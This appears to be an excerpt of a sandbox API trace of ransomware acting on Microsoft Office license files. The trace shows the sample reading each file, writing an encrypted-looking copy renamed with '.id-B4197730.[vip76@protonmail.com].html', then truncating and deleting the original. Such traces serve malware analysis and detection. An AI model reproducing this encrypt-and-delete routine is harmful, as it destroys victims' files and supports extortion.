	[0192.656] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.656] SetEndOfFile (hFile=0x580) returned 1
	[0192.659] CloseHandle (hObject=0x580) returned 1
	[0192.660] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0192.661] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms")) returned 1
	[0192.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73
	[0192.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73
	[0192.662] lstrlenW (lpString=".doc") returned 4
	[0192.662] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0192.662] lstrlenW (lpString=".docx") returned 5
	[0192.662] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0192.662] lstrlenW (lpString=".pdf") returned 4
	[0192.662] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0192.662] lstrlenW (lpString=".xls") returned 4
	[0192.662] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0192.662] lstrlenW (lpString=".xlsx") returned 5
	[0192.662] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0192.662] lstrlenW (lpString=".ppt") returned 4
	[0192.662] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0192.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73
	[0192.662] lstrlenW (lpString=".zip") returned 4
	[0192.662] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0192.662] lstrlenW (lpString=".rar") returned 4
	[0192.662] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0192.662] lstrlenW (lpString=".bz2") returned 4
	[0192.663] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0192.663] lstrlenW (lpString=".7z") returned 3
	[0192.663] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0192.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73
	[0192.663] lstrlenW (lpString=".dbf") returned 4
	[0192.663] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0192.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73
	[0192.663] lstrlenW (lpString=".1cd") returned 4
	[0192.663] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0192.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73
	[0192.663] lstrlenW (lpString=".jpg") returned 4
	[0192.663] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0192.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73
	[0192.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73
	[0192.663] lstrlenW (lpString=".doc") returned 4
	[0192.663] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0192.663] lstrlenW (lpString=".docx") returned 5
	[0192.663] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0192.663] lstrlenW (lpString=".pdf") returned 4
	[0192.663] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0192.663] lstrlenW (lpString=".xls") returned 4
	[0192.663] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0192.663] lstrlenW (lpString=".xlsx") returned 5
	[0192.663] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0192.663] lstrlenW (lpString=".ppt") returned 4
	[0192.663] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0192.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73
	[0192.663] lstrlenW (lpString=".zip") returned 4
	[0192.664] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0192.664] lstrlenW (lpString=".rar") returned 4
	[0192.664] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0192.664] lstrlenW (lpString=".bz2") returned 4
	[0192.664] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0192.664] lstrlenW (lpString=".7z") returned 3
	[0192.664] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0192.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73
	[0192.664] lstrlenW (lpString=".dbf") returned 4
	[0192.664] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0192.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73
	[0192.664] lstrlenW (lpString=".1cd") returned 4
	[0192.664] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0192.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73
	[0192.664] lstrlenW (lpString=".jpg") returned 4
	[0192.664] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0192.664] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0192.664] lstrlenW (lpString="ExcelVL_KMS_Client-ppd.xrm-ms") returned 29
	[0192.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0192.665] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=6860) returned 1
	[0192.665] CloseHandle (hObject=0x580) returned 1
	[0192.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms")) returned 0x220
	[0192.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0192.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0192.666] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.666] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0192.667] GetLastError () returned 0x0
	[0192.667] ReadFile (in: hFile=0x580, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x1acc, lpOverlapped=0x0) returned 1
	[0192.669] WriteFile (in: hFile=0x5ac, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x1ad0, lpOverlapped=0x0) returned 1
	[0192.672] ReadFile (in: hFile=0x580, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0192.672] WriteFile (in: hFile=0x5ac, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x10e, lpOverlapped=0x0) returned 1
	[0192.672] SetEndOfFile (hFile=0x5ac) returned 1
	[0192.672] CloseHandle (hObject=0x5ac) returned 1
	[0192.672] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.672] SetEndOfFile (hFile=0x580) returned 1
	[0192.675] CloseHandle (hObject=0x580) returned 1
	[0192.675] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0192.676] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms")) returned 1
	[0192.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79
	[0192.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79
	[0192.677] lstrlenW (lpString=".doc") returned 4
	[0192.677] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0192.677] lstrlenW (lpString=".docx") returned 5
	[0192.677] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0192.677] lstrlenW (lpString=".pdf") returned 4
	[0192.677] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0192.677] lstrlenW (lpString=".xls") returned 4
	[0192.677] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0192.677] lstrlenW (lpString=".xlsx") returned 5
	[0192.677] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0192.677] lstrlenW (lpString=".ppt") returned 4
	[0192.677] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0192.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79
	[0192.677] lstrlenW (lpString=".zip") returned 4
	[0192.677] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0192.677] lstrlenW (lpString=".rar") returned 4
	[0192.677] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0192.677] lstrlenW (lpString=".bz2") returned 4
	[0192.677] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0192.677] lstrlenW (lpString=".7z") returned 3
	[0192.677] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0192.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79
	[0192.677] lstrlenW (lpString=".dbf") returned 4
	[0192.677] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0192.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79
	[0192.677] lstrlenW (lpString=".1cd") returned 4
	[0192.678] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0192.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79
	[0192.678] lstrlenW (lpString=".jpg") returned 4
	[0192.678] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0192.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79
	[0192.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79
	[0192.678] lstrlenW (lpString=".doc") returned 4
	[0192.678] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0192.678] lstrlenW (lpString=".docx") returned 5
	[0192.678] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0192.678] lstrlenW (lpString=".pdf") returned 4
	[0192.678] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0192.678] lstrlenW (lpString=".xls") returned 4
	[0192.678] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0192.678] lstrlenW (lpString=".xlsx") returned 5
	[0192.678] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0192.678] lstrlenW (lpString=".ppt") returned 4
	[0192.678] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0192.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79
	[0192.679] lstrlenW (lpString=".zip") returned 4
	[0192.679] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0192.679] lstrlenW (lpString=".rar") returned 4
	[0192.679] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0192.679] lstrlenW (lpString=".bz2") returned 4
	[0192.679] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0192.679] lstrlenW (lpString=".7z") returned 3
	[0192.679] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0192.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79
	[0192.679] lstrlenW (lpString=".dbf") returned 4
	[0192.679] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0192.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79
	[0192.679] lstrlenW (lpString=".1cd") returned 4
	[0192.679] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0192.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79
	[0192.679] lstrlenW (lpString=".jpg") returned 4
	[0192.679] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0192.679] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0192.679] lstrlenW (lpString="ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 32
	[0192.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0192.681] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=11609) returned 1
	[0192.681] CloseHandle (hObject=0x580) returned 1
	[0192.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms")) returned 0x220
	[0192.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0192.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0192.682] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.682] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0192.683] GetLastError () returned 0x0
	[0192.683] ReadFile (in: hFile=0x580, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x2d59, lpOverlapped=0x0) returned 1
	[0192.685] WriteFile (in: hFile=0x5ac, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x2d60, lpOverlapped=0x0) returned 1
	[0192.687] ReadFile (in: hFile=0x580, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0192.687] WriteFile (in: hFile=0x5ac, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x114, lpOverlapped=0x0) returned 1
	[0192.687] SetEndOfFile (hFile=0x5ac) returned 1
	[0192.687] CloseHandle (hObject=0x5ac) returned 1
	[0192.687] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.687] SetEndOfFile (hFile=0x580) returned 1
	[0192.998] CloseHandle (hObject=0x580) returned 1
	[0192.998] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0193.119] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms")) returned 1
	[0193.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0193.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0193.913] lstrlenW (lpString=".doc") returned 4
	[0193.913] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0193.930] lstrlenW (lpString=".docx") returned 5
	[0193.930] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0193.930] lstrlenW (lpString=".pdf") returned 4
	[0193.930] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0193.930] lstrlenW (lpString=".xls") returned 4
	[0193.944] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0193.944] lstrlenW (lpString=".xlsx") returned 5
	[0193.949] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0193.949] lstrlenW (lpString=".ppt") returned 4
	[0193.949] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0193.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0193.949] lstrlenW (lpString=".zip") returned 4
	[0193.949] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0193.949] lstrlenW (lpString=".rar") returned 4
	[0193.949] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0193.949] lstrlenW (lpString=".bz2") returned 4
	[0193.949] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0193.949] lstrlenW (lpString=".7z") returned 3
	[0193.949] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0193.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0193.949] lstrlenW (lpString=".dbf") returned 4
	[0193.949] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0193.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0193.949] lstrlenW (lpString=".1cd") returned 4
	[0193.949] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0193.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0193.949] lstrlenW (lpString=".jpg") returned 4
	[0193.949] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0193.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0193.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0193.949] lstrlenW (lpString=".doc") returned 4
	[0193.949] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0193.949] lstrlenW (lpString=".docx") returned 5
	[0193.950] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0193.950] lstrlenW (lpString=".pdf") returned 4
	[0193.950] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0193.950] lstrlenW (lpString=".xls") returned 4
	[0193.950] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0193.950] lstrlenW (lpString=".xlsx") returned 5
	[0193.950] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0193.950] lstrlenW (lpString=".ppt") returned 4
	[0193.950] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0193.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0193.950] lstrlenW (lpString=".zip") returned 4
	[0193.950] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0193.950] lstrlenW (lpString=".rar") returned 4
	[0193.950] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0193.950] lstrlenW (lpString=".bz2") returned 4
	[0193.950] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0193.950] lstrlenW (lpString=".7z") returned 3
	[0193.950] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0193.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0193.950] lstrlenW (lpString=".dbf") returned 4
	[0193.950] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0193.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0193.950] lstrlenW (lpString=".1cd") returned 4
	[0193.950] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0193.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0193.950] lstrlenW (lpString=".jpg") returned 4
	[0193.950] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0193.951] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0193.951] lstrlenW (lpString="HomeBusinessR_Grace-ppd.xrm-ms") returned 30
	[0193.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0194.336] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=22033) returned 1
	[0194.337] CloseHandle (hObject=0x5b4) returned 1
	[0194.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms")) returned 0x220
	[0194.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0194.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0194.337] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.337] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0194.338] GetLastError () returned 0x0
	[0194.338] ReadFile (in: hFile=0x5b4, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x5611, lpOverlapped=0x0) returned 1
